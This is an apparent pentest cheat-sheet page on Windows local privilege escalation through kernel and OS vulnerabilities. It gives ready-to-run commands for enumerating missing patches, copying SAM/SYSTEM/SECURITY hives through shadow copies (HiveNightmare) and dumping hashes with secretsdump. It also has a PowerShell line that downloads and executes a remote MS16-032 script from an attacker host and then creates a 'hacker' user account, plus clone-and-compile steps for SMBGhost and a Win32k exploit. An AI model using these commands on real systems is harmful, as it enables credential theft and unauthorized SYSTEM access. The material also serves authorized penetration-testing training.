Skip to content
HackIndex logo

HackIndex

Windows Kernel Exploit Privilege Escalation

3 min read Mar 15, 2026

Windows kernel exploits target unpatched vulnerabilities in the OS core to escalate from any user to SYSTEM. Unlike Linux, Windows kernel exploits tend to be more stable (less risk of BSOD) on specific targeted builds. Use WES-ng to identify candidates, verify the build matches, and execute. Always try userland vectors first — kernel exploits are a last resort.

Prerequisites Check

Collect system information for patch level analysis:

C:\Users\Guest\Desktop> systeminfo
C:\Users\Guest\Desktop> systeminfo | findstr /i "OS Version\|Hotfix\|Build"
C:\Users\Guest\Desktop> wmic qfe list brief

Step 1 — Identify Missing Patches with WES-ng

On the target:

C:\Users\Guest\Desktop> systeminfo > C:\Windows\Temp\sysinfo.txt

Transfer to your attack box and run WES-ng:

┌──(kali㉿kali)-[~]
└─$ python3 wes.py sysinfo.txt --exploits-only
┌──(kali㉿kali)-[~]
└─$ python3 wes.py sysinfo.txt -e --hide "Internet Explorer" --hide "Remote"

Update the database if needed:

┌──(kali㉿kali)-[~]
└─$ python3 wes.py --update

Focus on local privilege escalation exploits (ignore remote ones). Cross-reference with your architecture and exact build number.

Download WES-ng: https://github.com/bitsadmin/wesng

CVE-2021-36934 — HiveNightmare / SeriousSam

Affected: Windows 10 (1809 and later), Windows 11 before patch KB5005010

The SAM, SYSTEM, and SECURITY registry hives in C:\Windows\System32\config\ have overly permissive ACLs — BUILTIN\Users can read them. Any local user can dump local account hashes without admin privileges.

Check if vulnerable:

C:\Users\Guest\Desktop> icacls C:\Windows\System32\config\SAM
C:\Users\Guest\Desktop> # Vulnerable if BUILTIN\Users shows (I)(RX) or (I)(R)

Exploit:

C:\Users\Guest\Desktop> # Copy the hives using shadow copies
C:\Users\Guest\Desktop> vssadmin list shadows
 
C:\Users\Guest\Desktop> # Use a shadow copy path
C:\Users\Guest\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\Temp\SAM
C:\Users\Guest\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM
C:\Users\Guest\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Windows\Temp\SECURITY

If no shadow copy exists, create one:

C:\Users\Guest\Desktop> # Requires user with shadow copy rights
C:\Users\Guest\Desktop> $s = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\", "ClientAccessible")
$id = $s.ShadowID
$path = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $id}).DeviceObject
copy "$path\Windows\System32\config\SAM" C:\Windows\Temp\SAM

Extract hashes on attack box:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

Download: https://github.com/GossiTheDog/HiveNightmare

MS16-032 — Secondary Logon Service (Windows 7–10, Server 2008–2012)

Affected: Windows 7 SP1 through Windows 10 (before June 2016 patches), Server 2008 SP2 through 2012 R2

Race condition in the Secondary Logon service. Requires at least 2 CPU cores.

Check if vulnerable:

┌──(kali㉿kali)-[~]
└─$ # WES-ng should flag this
┌──(kali㉿kali)-[~]
└─$ python3 wes.py sysinfo.txt | grep MS16-032

Or check manually — missing KB3143141.

Exploit using PowerShell:

PS C:\Users\Guest\Desktop> # MS16-032 PowerShell exploit
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/Invoke-MS16032.ps1')
PS C:\Users\Guest\Desktop> Invoke-MS16032 -Application cmd.exe -commandline "/c net user hacker Password123! /add"

Download: https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1

CVE-2020-0796 — SMBGhost (Windows 10 1903/1909)

Affected: Windows 10 version 1903 and 1909 (before KB4551762)

Heap buffer overflow in SMBv3 compression. Local privilege escalation variant available.

Check:

C:\Users\Guest\Desktop> systeminfo | findstr "1903\|1909"
C:\Users\Guest\Desktop> wmic qfe | findstr KB4551762
C:\Users\Guest\Desktop> # If KB4551762 is missing and version is 1903/1909 = potentially vulnerable

Exploit:

C:\Users\Guest\Desktop> git clone https://github.com/danigargu/CVE-2020-0796
C:\Users\Guest\Desktop> cd CVE-2020-0796
C:\Users\Guest\Desktop> # Compile and transfer to target

CVE-2022-21882 — Win32k Privilege Escalation (Windows 10/11)

Affected: Windows 10, Windows 11, Server 2019/2022 before January 2022 patches

Use-after-free in win32k.sys. Reliable local privilege escalation.

Check:

┌──(kali㉿kali)-[~]
└─$ python3 wes.py sysinfo.txt | grep CVE-2022-21882

Exploit:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/KaLendsi/CVE-2022-21882
┌──(kali㉿kali)-[~]
└─$ # Compile and transfer

Compilation for Windows Targets

When compiling on Linux for Windows targets:

┌──(kali㉿kali)-[~]
└─$ # x64 Windows executable
┌──(kali㉿kali)-[~]
└─$ x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
 
┌──(kali㉿kali)-[~]
└─$ # x86 Windows executable
┌──(kali㉿kali)-[~]
└─$ i686-w64-mingw32-gcc exploit.c -o exploit32.exe
 
┌──(kali㉿kali)-[~]
└─$ # With Windows libraries
┌──(kali㉿kali)-[~]
└─$ x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32 -lntdll

References